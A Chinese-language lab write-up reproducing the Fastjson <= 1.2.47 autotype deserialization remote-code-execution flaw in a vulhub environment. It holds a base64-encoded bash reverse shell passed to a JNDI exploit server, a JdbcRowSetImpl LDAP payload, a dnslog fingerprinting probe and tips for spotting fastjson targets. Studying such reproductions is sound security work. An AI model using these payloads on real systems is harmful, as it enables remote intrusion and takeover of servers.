0x00 漏洞简介
Fastjson 是一个 Java 库,可以将 Java 对象转换为 JSON 格式,当然它也可以将 JSON 字符串转换为 Java对象。
0x01 漏洞详情
Fastjson 是一个 Java 库,可以将 Java 对象转换为 JSON 格式,当然它也可以将 JSON
字符串转换为 Java 对象 Fastjson提供了autotype功能,允许用户在反序列化数据中通过“@type”指定反序列化的类型,其次,Fastjson自定义的反序列化机制时会调用指定类中的setter方法及部分getter方法,那么当组件开启了autotype功能并且反序列化不可信数据时,攻击者可以构造数据,使目标应用的代码执行流程进入特定类的特定setter或者getter方法中,若指定类的指定方法中有可被恶意利用的逻辑(也就是通常所指的“Gadget”),则会造成一些严重的安全问题。
0x02 影响版本
fastjson <= 1.2.47
0x03 漏洞复现
环境准备
RMI服务器:借助JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar
Netcat:接收反弹回来的shell。
以上两个服务可以放在一台服务器
1.利用vulhub启动漏洞环境
2.利用kali启动nc监听
3.架设rmi服务器
java执行命令payloads生成点我
启动rmi
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,YmFzaCAtaSAgPiYgL2Rldi90Y3AvMTkyLjE2OC4wLjQvNDQ0NCAwPiYx}|{base64,-d}|{bash,-i}" -A "192.168.0.4" #192.168.0.4 为rmi服务器ip
6.Burp抓包测试
改成post请求,注意Content-Type修改为json细节。网上复制的话注意引号和冒号都是英文符号。
{
"a":{
"@type":"java.lang.Class",
"val":"com.sun.rowset.JdbcRowSetImpl"
},
"b":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"ldap://192.168.0.4:1389/1q9qke",
"autoCommit":true
}
}
将rmi生成的利用链进行加载请求,一个失败就多尝试几个链。
发包执行命令成功:
参考:https://blog.csdn.net/qq_40007043/article/details/107615314
0x05 Payload
更多其他环境参考:https://mp.weixin.qq.com/s/I0OdFPnRH_r1yZ04tOB-cw
0x06 指纹识别
如果有报错回显,可以故意构造不完整json请求,返回的数据包会进行报错。
发送内容最后少了个括号导致数据包不完整从而报错,从返回的数据包中可以看到有fastjson字样。
如果没有报错回显,利用dnslog进行回显
{“zeo”:{"@type":“java.net.Inet4Address”,“val”:“p6ddoz.dnslog.cn”}}
0x07 注意事项
复制输入payload相关的代码注意区分中英文符号。
Burpsuite数据包注意Content-Type为json。
0x08 漏洞修复
升级到官方最新版本!